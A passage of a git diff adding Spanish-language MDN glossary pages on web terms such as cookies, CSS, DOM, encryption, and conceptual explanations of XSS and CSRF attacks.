+ <li><a href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_Constructor">The constructor in object oriented programming for JavaScript</a> en MDN</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">New operator in JavaScript</a> en MDN</li>
+</ul>
diff --git a/files/es/glossary/cookie/index.html b/files/es/glossary/cookie/index.html
new file mode 100644
index 0000000000..b9babca7d5
--- /dev/null
+++ b/files/es/glossary/cookie/index.html
@@ -0,0 +1,21 @@
+---
+title: Cookie
+slug: Glossary/Cookie
+tags:
+  - Glosario
+  - TecnologíasWeb
+translation_of: Glossary/Cookie
+---
+<p>Una cookie es una pequeña información enviada por un sitio web que se almacena en el navegador del ordenador del usuario.</p>
+
+<p>Las cookies sirven para personalizar la experiencia que tiene el usuario al navegar por un sitio web. Pueden contener las preferencias del usuario o entradas de información al acceder a dicha web. El usuario puede personalizar su navegador para aceptar, rechazar, o borrar las cookies.</p>
+
+<p>Las cookies pueden establecerse y modificarse desde el lado del servidor mediante el <a href="/es/docs/Web/HTTP/Cookies">encabezado HTTP</a> <code>Set-Cookie</code> o usando <code><a href="/es/docs/DOM/document.cookie">document.cookie</a></code> en JavaScript.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Cookie_(inform%C3%A1tica)">Cookie</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/copyleft/index.html b/files/es/glossary/copyleft/index.html
new file mode 100644
index 0000000000..91378a0002
--- /dev/null
+++ b/files/es/glossary/copyleft/index.html
@@ -0,0 +1,21 @@
+---
+title: Copyleft
+slug: Glossary/Copyleft
+tags:
+  - CC SA
+  - Copyleft
+  - Creative Commons
+  - GPL
+  - Glosario
+  - Licencia
+translation_of: Glossary/Copyleft
+---
+<p><em>Copyleft </em>es un término, que normalmente se refiere a una licencia, y que se utiliza para indicar que <span id="result_box" lang="es"><span>toda redistribución de un trabajo bajo esta licencia <strong>es obligatorio</strong> que esté sujeta a la <strong>misma licencia</strong></span></span><strong> que el original</strong>. Un buen ejemplo de copyleft es la licencia GNU <a href="/es/docs/Glossary/GPL">GPL</a> (para aplicaciones software) y la licencia <em>Creative Commons SA</em> (<em>Share Alike</em> en español Compartir Igual) (para trabajos y obras de arte).</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="Cultura_General">Cultura General</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Copyleft")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/criptoanálisis/index.html b/files/es/glossary/criptoanálisis/index.html
new file mode 100644
index 0000000000..c56576e600
--- /dev/null
+++ b/files/es/glossary/criptoanálisis/index.html
@@ -0,0 +1,21 @@
+---
+title: Criptoanálisis
+slug: Glossary/Criptoanálisis
+tags:
+  - Criptografía
+  - Glosario
+  - Seguridad
+  - privacidad
+translation_of: Glossary/Cryptanalysis
+---
+<p dir="ltr" id="tw-target-text">El criptoanálisis es la rama de {{glossary ("cryptography","criptografía")}} que estudia cómo romper códigos y criptosistemas. El criptoanálisis crea técnicas para romper {{glossary ("cipher", "cifrados")}}, en particular por métodos más eficientes que una búsqueda por fuerza bruta. Además de los métodos tradicionales como el análisis de frecuencia y el índice de coincidencia, el criptoanálisis incluye métodos más recientes, como el criptoanálisis lineal o el criptoanálisis diferencial, que puede romper cifrados más avanzados.</p>
+
+<p> </p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Criptoanálisis">Criptoanálisis</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/criptografía/index.html b/files/es/glossary/criptografía/index.html
new file mode 100644
index 0000000000..cfd3f498db
--- /dev/null
+++ b/files/es/glossary/criptografía/index.html
@@ -0,0 +1,21 @@
+---
+title: Criptografía
+slug: Glossary/Criptografía
+tags:
+  - Criptografía
+  - Glosario
+  - Seguridad
+  - privacidad
+translation_of: Glossary/Cryptography
+---
+<p><span class="seoSummary">Criptografía, o criptología, es la ciencia que estudia como codificar y transmitir mensajes de manera segura. La criptografía diseña y estudia algoritmos que son usados para la codificación y decoficación de mensajes en un entorno inseguro y sus aplicaciones.</span> Más que confidencialidad de información, la criptografía también aborda la identificación, autenticación, el no repudio y la integridad de la información. Para ello tambien estudia el uso de métodos criptográficos en contexto, criptosistemas.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Criptografía")}} en Wikipedia</li>
+ <li>{{glossary("Cryptanalysis")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/Learn/tutorial/Information_Security_Basics">T</a><a href="/en-US/docs/Web/Security/Information_Security_Basics">utorial de seguridad de la información</a></li>
+</ul>
diff --git a/files/es/glossary/cross-site_scripting/index.html b/files/es/glossary/cross-site_scripting/index.html
new file mode 100644
index 0000000000..58c9c6a97d
--- /dev/null
+++ b/files/es/glossary/cross-site_scripting/index.html
@@ -0,0 +1,34 @@
+---
+title: Cross-site scripting
+slug: Glossary/Cross-site_scripting
+translation_of: Glossary/Cross-site_scripting
+---
+<p>Cross-site scripting (XSS) es una vulnerabilidad de seguridad que permite a un atacante inyectar en un sitio web código malicioso del lado del cliente. Este código es ejecutado por las vícitmas y permite a los atacante eludir los controles de acceso y hacerce pasar por usuarios. Según el Open Web Application Security Project, XSS fue la <a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf">séptima vulnerabilidad más común de las aplicaciones web</a> en 2017.</p>
+
+<p>Estos ataques tienen éxito si la aplicación web no emplea suficiente validación o codificación. El navegador del usuario no puede detectar que el script malicioso no es confiable, por lo que da acceso a cookies, tokens de sesión u otra información sensible específica del sitio, o permite que el escript reescriba contenido {{glossary("HTML")}}.</p>
+
+<p>Los ataques XSS suelen producirse cuando 1) los datos entran en una aplicación web a través de una fuente no confiable (en la mayoría de los casos, una solicitud web) o 2) el contenido dinámico se envía a un usuario web sin ser validado como contenido malicioso.</p>
+
+<p>El contenido malicioso a menudo incluye {{glossary("JavaScript")}}, pero a veces HTML, Flash o cualquier otro código que el navegador pueda ejecutar. La variedad de ataques basados en XSS es casi ilimitado. pero comúnmente incluyen la transmisión de datos privados como cookies u otra información de sesión al atacante, la redirección de la víctima a una página web controlada por el atacante o la realización de otras operaciones maliciosas en el equipo del usuario bajo la apariencia de un sitio vulnerable.</p>
+
+<p>Los ataques XSS se pueden clasificar en tres categorías: almacenados (también llamados persistentes), reflejados (también llamados no persistentes) o basados en DOM.</p>
+
+<dl>
+ <dt><strong>XSS Almacenados</strong></dt>
+ <dd>El script inyectado se almacena permanentemente en los servidores de destino. La víctima recupera entonces este script malicioso del servidor cuando el navegador envía una solicitud de datos.</dd>
+ <dt><strong>XSS Reflejados</strong></dt>
+ <dd>Cuando se engaña a un usuario para que haga clic en un enlace malicioso, envía un formulario especialmente diseñado o navegue a un sitio malicioso, el código inyectado viaja al sitio web vulnerable. El servidor web refleja el script inyectado en el navegador del usuario, por ejemplo, en un mensaje de error, un resultado de búsqueda o cualquier otra respuesta que incluya datos enviados al servidor como parte de la solicitud. El navegador ejecuta el código porque asume que la respuesta proviene de un servidor "de confianza" con el que el usuario ya ha interactuado.</dd>
+ <dt><strong>XSS basados en DOM</strong></dt>
+ <dd>El payload se ejecuta como resultado de la modificación del entorno DOM (en el navegador de la víctima) utlizado por el script original del lado del cliente. Es decir, la página en sí no cambia, pero el código del lado del cliente contenido en la página se ejecuta de forma inesperada debido a las modificaciones maliciosas del entorno DOM.</dd>
+</dl>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Cross-site scripting")}} on Wikipedia</li>
+ <li><a href="https://owasp.org/www-community/attacks/xss/">Cross-site scripting on OWASP</a></li>
+ <li><a href="http://www.acunetix.com/blog/web-security-zone/articles/dom-xss-explained/">Another article about Cross-site scripting</a></li>
+ <li><a href="https://secure.wphackedhelp.com/blog/wordpress-xss-attack/">XSS Attack – Exploit &amp; Protection</a></li>
+</ul>
diff --git a/files/es/glossary/crud/index.html b/files/es/glossary/crud/index.html
new file mode 100644
index 0000000000..77604a67a0
--- /dev/null
+++ b/files/es/glossary/crud/index.html
@@ -0,0 +1,17 @@
+---
+title: CRUD
+slug: Glossary/CRUD
+tags:
+  - Glosario
+  - Infraestructura
+translation_of: Glossary/CRUD
+---
+<p><strong>CRUD </strong>(Create, Read, Update, Delete) es un acrónimo para las maneras en las que se puede operar sobre información almacenada. Es un nemónico para las cuatro funciones del almacenamiento persistente. CRUD usualmente se refiere a operaciones llevadas a cabo en una base de datos o un almácen de datos, pero también pude aplicar a funciones de un nivel superior de una aplicación como soft deletes donde la información no es realmente eliminada, sino es marcada como eliminada a tráves de un estatus.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "CRUD")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/csrf/index.html b/files/es/glossary/csrf/index.html
new file mode 100644
index 0000000000..08a5754942
--- /dev/null
+++ b/files/es/glossary/csrf/index.html
@@ -0,0 +1,19 @@
+---
+title: CSRF
+slug: Glossary/CSRF
+tags:
+  - Glosario
+  - Seguridad
+translation_of: Glossary/CSRF
+---
+<p><strong>CSRF</strong> (Cross-Site Request Forgery) es un ataque que falsifica una petición a un servidor web haciéndose pasar por un usuario de confianza. Esto se puede hacer, por ejemplo, incluyendo parámetros maliciosos en una {{glossary("URL")}} después de un enlace que pretende redirigir a otro sitio.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Cross-site_request_forgery">Cross site request forgery</a> en Wikipedia</li>
+ <li><a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">Medidas de prevención</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Information_Security_Basics">Tutorial de seguridad de MDN</a></li>
+</ul>
diff --git a/files/es/glossary/css/index.html b/files/es/glossary/css/index.html
new file mode 100644
index 0000000000..1a0fe71442
--- /dev/null
+++ b/files/es/glossary/css/index.html
@@ -0,0 +1,44 @@
+---
+title: CSS
+slug: Glossary/CSS
+tags:
+  - Beginner
+  - CSS
+  - Glosario
+  - Hojas de estilo
+  - Intro
+  - Web
+translation_of: Glossary/CSS
+---
+<p><span class="seoSummary"><strong>CSS, </strong>de las siglas en inglés <strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets (Hojas de Estilo en Cascada), es un lenguaje declarativo que controla el aspecto de las páginas web en el {{glossary("browser","navegador")}}.</span> El navegador aplica declaraciones de estilo CSS a los elementos seleccionados para exhibirlos correctamente. Una declaración de estilos contiene las propiedades y sus respectivos valores, los cuales determinan cómo se verá una página web.</p>
+
+<p>CSS es una de las tres principales tecnologias web, junto con {{Glossary("HTML")}} y {{Glossary("JavaScript")}}. CSS usualmente le da estilo a los ({{Glossary("Element","elementos HTML")}}), pero también puede ser utilizado con otros lenguajes de marcado como {{Glossary("SVG")}} o {{Glossary("XML")}}.</p>
+
+<p>Una regla CSS es un conjunto de {{Glossary("CSS Property","propiedades")}}  asociadas con un {{Glossary("CSS selector","selector")}}. Aquí tenemos un ejemplo que hace que cada párrafo HTML sea amarillo, sobre un fondo negro:</p>
+
+<pre class="brush: css">/* El selector "p" indica que todos los párrafos del documento serán afectados por esta regla */
+p {
+  /* La propiedad "color" define el color del texto, en este caso amarillo. */
+  color: yellow;
+
+  /* La propiedad "background-color" define el color del fondo, en este caso negro. */
+  background-color: black;
+}</pre>
+
+<p>El término "en cascada" se refiere a las reglas que determinan cómo los selectores son jerarquizados al cambiar la apariencia de una página web. Esta es una característica muy importante, ya que un sitio web complejo puede contener miles de reglas CSS.</p>
+
+<h2 id="Aprende_más"><strong>Aprende más</strong></h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/Learn/CSS">Aprende CSS</a></li>
+ <li>{{interwiki("wikipedia", "CSS")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_Técnica">Referencia Técnica</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS">Documentación sobre CSS en MDN</a></li>
+ <li><a href="http://www.w3.org/Style/CSS/current-work" rel="external">Trabajos recientes del Grupo de Trabajo de CSS</a></li>
+</ul>
diff --git a/files/es/glossary/descifrado/index.html b/files/es/glossary/descifrado/index.html
new file mode 100644
index 0000000000..838c76438b
--- /dev/null
+++ b/files/es/glossary/descifrado/index.html
@@ -0,0 +1,33 @@
+---
+title: Descifrado
+slug: Glossary/Descifrado
+tags:
+  - Criptografía
+  - Glosario
+  - Seguridad
+  - privacidad
+translation_of: Glossary/Decryption
+---
+<p> </p>
+
+<p>En {{glossary("cryptography" ,"criptografía")}}, el descifrado es la conversión de {{glossary("Ciphertext", "texto cifrado")}} en {{glossary("Plaintext", "texto simple")}}.</p>
+
+<p>El descifrado es una primitiva criptográfica: transforma un mensaje de texto cifrado en texto simple utilizando un algoritmo criptográfico llamado {{glossary("cipher", "cifrado")}}. Al igual que el cifrado, el descifrado en cifrados modernos se realiza mediante un algoritmo específico y una {{glossary("Key", "clave")}}. Dado que el algoritmo suele ser público, la clave debe permanecer secreta si el cifrado se mantiene seguro.</p>
+
+<p> </p>
+
+<p><img alt=""><img alt="The decryption primitive." src="https://mdn.mozillademos.org/files/9817/Decryption.png" style="height: 81px; width: 485px;"></p>
+
+<p>El descifrado es el reverso del {{glossary("Encryption", "cifrado")}} y si la clave permanece secreta, el descifrado sin conocer el secreto específico, entonces el descifrado es matemáticamente difícil de realizar. El grado de dificultad depende de la seguridad del algoritmo criptográfico elegido, que está en constante evolución mediante el progreso del {{glossary("cryptanalysis", "criptoanálisis")}}.</p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 class="highlight-spanned" id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Archive/Security/Encriptación_y_Desencriptación">Cifrado y descifrado</a></li>
+</ul>
diff --git a/files/es/glossary/doctype/index.html b/files/es/glossary/doctype/index.html
new file mode 100644
index 0000000000..32d2c95530
--- /dev/null
+++ b/files/es/glossary/doctype/index.html
@@ -0,0 +1,22 @@
+---
+title: Doctype
+slug: Glossary/Doctype
+translation_of: Glossary/Doctype
+---
+<p><code>&lt;!DOCTYPE&gt;</code> informa al {{Glossary("navegador")}} que versión de {{Glossary("HTML")}} (o {{glossary("XML")}}) se usó para escribir el documento. Doctype es una declaración no una {{Glossary("etiqueta")}}. Además, podemos referirnos a ella como "document type declaration" o  por las siglas  "DTD".</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_Knowledge">General Knowledge</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Document_type_declaration", "Document Type Declaration")}} on Wikipedia</li>
+ <li><a href="/en-US/docs/Quirks_Mode_and_Standards_Mode">Quirks Mode and Standards Mode</a></li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document/doctype">Document.doctype</a>, a JavaScript method that returns the doctype</li>
+ <li><a href="/en-US/docs/Using_multiple_DTDs">Using multiple DTDs</a> for localizing</li>
+</ul>
diff --git a/files/es/glossary/dom/index.html b/files/es/glossary/dom/index.html
new file mode 100644
index 0000000000..75c940e346
--- /dev/null
+++ b/files/es/glossary/dom/index.html
@@ -0,0 +1,30 @@
+---
+title: DOM
+slug: Glossary/DOM
+tags:
+  - API
+  - DOM
+  - Glosario
+  - scripts
+translation_of: Glossary/DOM
+---
+<p>El <em>DOM </em><strong> (</strong>Document Object Model en español <strong>Modelo de Objetos del Documento)</strong> es una <a href="/es/docs/Glossary/API">API</a> definida para representar e interactuar con cualquier documento <a href="/es/docs/Glossary/HTML">HTML</a> o <a href="/es/docs/Glossary/XML">XML</a>. El DOM es un modelo de documento que se carga en el <a href="/es/docs/Glossary/Browser">navegador web</a> y que representa el documento como un árbol de nodos, en donde cada nodo representa una parte del documento (puede tratarse de un <a href="/es/docs/Glossary/element">elemento</a>, una cadena de texto o un comentario).</p>
+
+<p>El DOM es una de las APIs más usadas en la <a href="/es/docs/Glossary/World_Wide_Web">Web</a>, pues permite ejecutar código en el navegador para acceder e interactuar con cualquier nodo del documento. Estos nodos pueden crearse, moverse o modificarse. Pueden añadirse a estos nodos manejadores de eventos (<em>event listeners</em> en inglés) que se ejecutarán/activarán cuando ocurra el evento indicado en este manejador.</p>
+
+<p>El DOM surgió a partir de la implementación de <a href="/es/docs/Glossary/JavaScript">JavaScript</a> en los navegadores. A esta primera versión también se la conoce como DOM 0 o "Legacy DOM". Hoy en día el grupo WHATWG es el encargado de actualizar el estándar de DOM.</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="Cultura_General">Cultura General</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia","DOM")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Información_Técnica">Información Técnica </h3>
+
+<ul>
+ <li><a href="/en-US/docs/DOM">The DOM documentation on MDN</a></li>
+ <li><a href="http://www.w3.org/DOM/DOMTR" rel="external">The various DOM specifications at W3C</a></li>
+</ul>
diff --git a/files/es/glossary/domain/index.html b/files/es/glossary/domain/index.html
new file mode 100644
index 0000000000..bd7b0b488d
--- /dev/null
+++ b/files/es/glossary/domain/index.html
@@ -0,0 +1,30 @@
+---
+title: Dominio
+slug: Glossary/Domain
+tags:
+  - Domínio
+  - Glosario
+  - Infraestructura
+  - Navegador
+  - Redes
+translation_of: Glossary/Domain
+---
+<p>Un dominio es una autoridad dentro de internet que controla sus propios recursos. Su "nombre de dominio" es una forma de dirigirse a esta autoridad como parte de la jerarquía en una {{Glossary("URL")}}, que generalmente es la parte más significativa de la misma, por ejemplo, un nombre de marca.</p>
+
+<p>Un nombre de dominio completo (FQDN, por sus siglas en inglés) contiene todas las partes necesarias para buscar esta autoridad por su nombre sin ambigüedades utilizando el sistema {{Glossary("DNS")}} de Internet.</p>
+
+<p> </p>
+
+<p>For example, in "developer.mozilla.org":</p>
+
+<ol>
+ <li>"org" es llamado un {{interwiki("wikipedia", "Dominio_de_nivel_superior", "dominio de nivel superior")}}. Están registrados como estándar de Internet por la entidad {{interwiki("wikipedia", "Internet_Assigned_Numbers_Authority", "IANA")}} . Aquí, "org" significa "organización" que se define en un <em>registro de dominio</em> de nivel superior.</li>
+ <li>"mozilla" es el dominio. Si quieres tener un dominio, debes registrarlo con uno de los muchos {{interwiki("wikipedia", "Registrador_de_dominios", "registradores")}} que tienen permiso para hacerlo con un registro de dominios de nivel superior.</li>
+ <li>"developer" es un "subdominio", algo que usted mismo como propietario de un dominio puede definir usted mismo. Muchos propietarios eligen tener un subdominio "www" para que apunte a su recurso {{Glossary("World_Wide_Web")}}, pero eso no es necesario (e incluso ha caído en desgracia).</li>
+</ol>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Dominio_de_Internet", "Dominio de internet")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/dtd/index.html b/files/es/glossary/dtd/index.html
new file mode 100644
index 0000000000..1911a4d249
--- /dev/null
+++ b/files/es/glossary/dtd/index.html
@@ -0,0 +1,6 @@
+---
+title: DTD
+slug: Glossary/DTD
+translation_of: Glossary/Doctype
+---
+<p>{{page("/en-US/docs/Glossary/Doctype")}}</p>
diff --git a/files/es/glossary/dynamic_programming_language/index.html b/files/es/glossary/dynamic_programming_language/index.html
new file mode 100644
index 0000000000..c14b100c3c
--- /dev/null
+++ b/files/es/glossary/dynamic_programming_language/index.html
@@ -0,0 +1,16 @@
+---
+title: Lenguaje de programación dinámico
+slug: Glossary/Dynamic_programming_language
+translation_of: Glossary/Dynamic_programming_language
+---
+<p>Un <strong>lenguaje de programación dinámico</strong> es un lenguaje de programación, en el que las operaciones realizadas en tiempo de compilación pueden realizarse en tiempo de ejecución. Por ejemplo, en JavaScript es posible cambiar el tipo de una variable o agregar nuevas propiedades o métodos a un objeto mientras el programa está en ejecución.</p>
+
+<p>Esto es opuesto a los llamados lenguajes de programación estáticos, en los que tales cambios normalmente no son posibles.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Dynamic programming language")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/ecmascript/index.html b/files/es/glossary/ecmascript/index.html
new file mode 100644
index 0000000000..0ada88d40b
--- /dev/null
+++ b/files/es/glossary/ecmascript/index.html
@@ -0,0 +1,23 @@
+---
+title: ECMAScript
+slug: Glossary/ECMAScript
+tags:
+  - Glosario
+  - WebMechanics
+translation_of: Glossary/ECMAScript
+---
+<p><strong>ECMAScript</strong> es una especificación de lenguaje de scripting en la que se basa {{Glossary("JavaScript")}}. <a href="http://www.ecma-international.org">Ecma International</a> está a cargo de estandarizar ECMAScript.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "ECMAScript")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="https://tc39.es/ecma262/">ECMAScript</a></li>
+</ul>
diff --git a/files/es/glossary/element/index.html b/files/es/glossary/element/index.html
new file mode 100644
index 0000000000..c784b7d61f
--- /dev/null
+++ b/files/es/glossary/element/index.html
@@ -0,0 +1,19 @@
+---
+title: Elemento
+slug: Glossary/Element
+translation_of: Glossary/Element
+---
+<p>Un elemento es parte de una página web. En XML y HTML, un elemento puede contener un elemento de datos o un fragmento de texto o una imagen, o tal vez nada. Un elemento típico incluye una etiqueta de apertura con algunos atributos, contenido de texto cerrado y una etiqueta de cierre.<br>
+ <img alt="Example: in &lt;p class=&quot;nice&quot;>Hello world!&lt;/p>, '&lt;p class=&quot;nice&quot;>' is an opening tag, 'class=&quot;nice&quot;' is an attribute and its value, 'Hello world!' is enclosed text content, and '&lt;/p>' is a closing tag." src="https://mdn.mozillademos.org/files/7659/anatomy-of-an-html-element.png" style="height: 181px; width: 609px;"></p>
+
+<p> </p>
+
+<p>Los elementos y las etiquetas no son las mismas cosas. Las etiquetas comienzan o terminan un elemento en el código fuente, mientras que los elementos son parte del {{Glossary("DOM")}}, el modelo de documento para mostrar la página en el {{glossary("browser")}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La interfaz {{domxref("Element")}} , representa un elemento en el DOM.</li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/HTML/Introduccion_a_HTML/iniciar">Más detalles acerca de los elementos.  </a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Web_Components/Custom_Elements">Componentes_Web/Elementos_Personalizados</a>.</li>
+</ul>
diff --git a/files/es/glossary/elemento/index.html b/files/es/glossary/elemento/index.html
new file mode 100644
index 0000000000..a947c1e053
--- /dev/null
+++ b/files/es/glossary/elemento/index.html
@@ -0,0 +1,7 @@
+---
+title: elemento
+slug: Glossary/elemento
+tags:
+  - Junk
+---
+<p>Componentes que especifican como los documentos HTML deben ser construidos y que tipo de contenido debe ser posicionado en que lugar de un documento HTML.</p>
diff --git a/files/es/glossary/empty_element/index.html b/files/es/glossary/empty_element/index.html
new file mode 100644
index 0000000000..bd5f941426
--- /dev/null
+++ b/files/es/glossary/empty_element/index.html
@@ -0,0 +1,30 @@
+---
+title: Elemento vacío
+slug: Glossary/Empty_element
+translation_of: Glossary/Empty_element
+---
+<p>Un <strong>elemento vacío </strong> es un {{Glossary("elemento")}} de HTML, SVG, o MathML que <strong>no puede</strong> tener nodos secundarios (es decir, elementos anidados o nodos de texto).</p>
+
+<p>Las especificaciones <a href="https://html.spec.whatwg.org/multipage/">HTML</a>, <a href="https://www.w3.org/TR/SVG2/">SVG</a>, y <a href="https://www.w3.org/TR/MathML3/">MathML</a> definen con precisión lo que cada elemento puede contener. Muchas combinaciones no tienen sentido semántico, por ejemplo un elemento {{HTMLElement("audio")}} anidado dentro de un elemento {{HTMLElement("hr")}}.</p>
+
+<p>En HTML, el uso de una etiqueta de cierre en un elemento vacío normalmente no es válido. Por ejemplo, <code>&lt;input type="text"&gt;&lt;/input&gt;</code> es un elemento HTML no válido.</p>
+
+<p>Los elementos vacíos en HTML son los siguientes:</p>
+
+<ul>
+ <li>{{HTMLElement("area")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+ <li>{{HTMLElement("br")}}</li>
+ <li>{{HTMLElement("col")}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("hr")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("keygen")}}(HTML 5.2 Draft removed)</li>
+ <li>{{HTMLElement("link")}}</li>
+ <li>{{HTMLElement("meta")}}</li>
+ <li>{{HTMLElement("param")}}</li>
+ <li>{{HTMLElement("source")}}</li>
+ <li>{{HTMLElement("track")}}</li>
+ <li>{{HTMLElement("wbr")}}</li>
+</ul>
diff --git a/files/es/glossary/encapsulation/index.html b/files/es/glossary/encapsulation/index.html
new file mode 100644
index 0000000000..828a4dc572
--- /dev/null
+++ b/files/es/glossary/encapsulation/index.html
@@ -0,0 +1,17 @@
+---
+title: Encapsulación
+slug: Glossary/Encapsulation
+tags:
+  - CodingScripting
+  - Glosario
+translation_of: Glossary/Encapsulation
+---
+<p>La encapsulación es el empaquetamiento de datos y {{glossary("function","funciones")}} en un componente (por ejemplo, una {{glossary("class", "clase")}}) y para luego controlar el acceso a ese componente para hacer un ejecto de "caja negra" fuera del {{glossary("object", "objeto")}}. Debido a esto, un usuario de esa clase solo necesita conocer su interfaz (es decir, los datos y las funciones expuestas fuera de la clase), no la implementación oculta.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/Encapsulation_(object-oriented_programming)">Encapsulación</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/encriptación/index.html b/files/es/glossary/encriptación/index.html
new file mode 100644
index 0000000000..4d98cc9ad5
--- /dev/null
+++ b/files/es/glossary/encriptación/index.html
@@ -0,0 +1,23 @@
+---
+title: Encriptación
+slug: Glossary/Encriptación
+tags:
+  - Criptografía
+  - Glosario
+  - Seguridad
+  - privacidad
+translation_of: Glossary/Encryption
+---
+<p>En {{glossary("cryptography", "criptografía")}}, la <strong>encriptación</strong> es la conversión del {{glossary("cleartext", "lenguaje natural")}} en un texto codificado o {{glossary("ciphertext", "cifrado")}}. Un texto cifrado es utilizado para ser ilegible por lectores no autorizados.</p>
+
+<p>La encriptación es una primitiva criptográfica: transforma un mensaje en texto plano en un texto cifrado usando un {{glossary("cipher", "algoritmo criptográfico")}}. La encriptación en los algoritmos modernos se lleva a cabo usando un algoritmo específico y un secreto, llamado la {{glossary("key", "clave")}}. Ya que la mayoría de los algoritmos son públicos, la clave debe ser secreta para que la encriptación sea segura.</p>
+
+<p><img alt="How encryption works." src="https://mdn.mozillademos.org/files/9815/Encryption.png" style="height: 108px; width: 472px;"></p>
+
+<p>Sin conocer el secreto, la operación inversa, {{glossary("decryption", "desencriptación")}}, es matemáticamente costosa de realizar. Cómo de difícil resulte depende de la seguridad del algoritmo criptográfico elegido y evoluciona con el progreso del {{glossary("cryptanalysis", "criptoanálisis")}}.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<ul>
+ <li>Saber má sobre <a href="/es/docs/Archive/Security/Encriptación_y_Desencriptación">Encriptación y Desencriptación</a></li>
+</ul>
diff --git a/files/es/glossary/entidad/index.html b/files/es/glossary/entidad/index.html
new file mode 100644
index 0000000000..cc6ebf2682
--- /dev/null
+++ b/files/es/glossary/entidad/index.html
@@ -0,0 +1,60 @@
+---
+title: Entidad
+slug: Glossary/Entidad
+tags:
+  - Caractères
+  - HTML
+  - entidad
+translation_of: Glossary/Entity
+---
+<p><span class="seoSummary">Una <strong>entidad </strong>{{glossary("HTML")}} es un conjunto de caracteres ("string") que comienza con un ampersand (<code>&amp;</code>) y termina con un punto y coma (<code>;</code>) . Las entidades son utilizadas frecuentemente para imprimir en pantalla caracteres reservados (aquellos que serían interpretados como HTML por el navegador) o invisibles (cómo tabulaciones). También pueden usarse para representar caracteres que no existan en algunos teclados, por ejemplo caracterés con tilde o diéresis.  </span></p>
+
+<div class="note">
+<p>Muchos caracteres tienen entidades con nombres fáciles de recordar, como las vocales con tilde (<code>á</code>) es <code>&amp;aacute;</code>, (<code>é</code>) es <code>&amp;eacute;</code> y así sucesivamente. Otro ejempo es el simbolo de copyright, (<code>©</code>) representado por la entidad <code>&amp;copy;</code>. Al lidiar con entidades menos representativas de los caracteres que representan, es de gran ayuda utilizar una <a href="https://html.spec.whatwg.org/multipage/named-characters.html#named-character-references">tabla de referencia</a> o  un <a href="https://mothereff.in/html-entities">decodificador</a>.</p>
+</div>
+
+<h2 id="Caracteres_Reservados">Caracteres Reservados</h2>
+
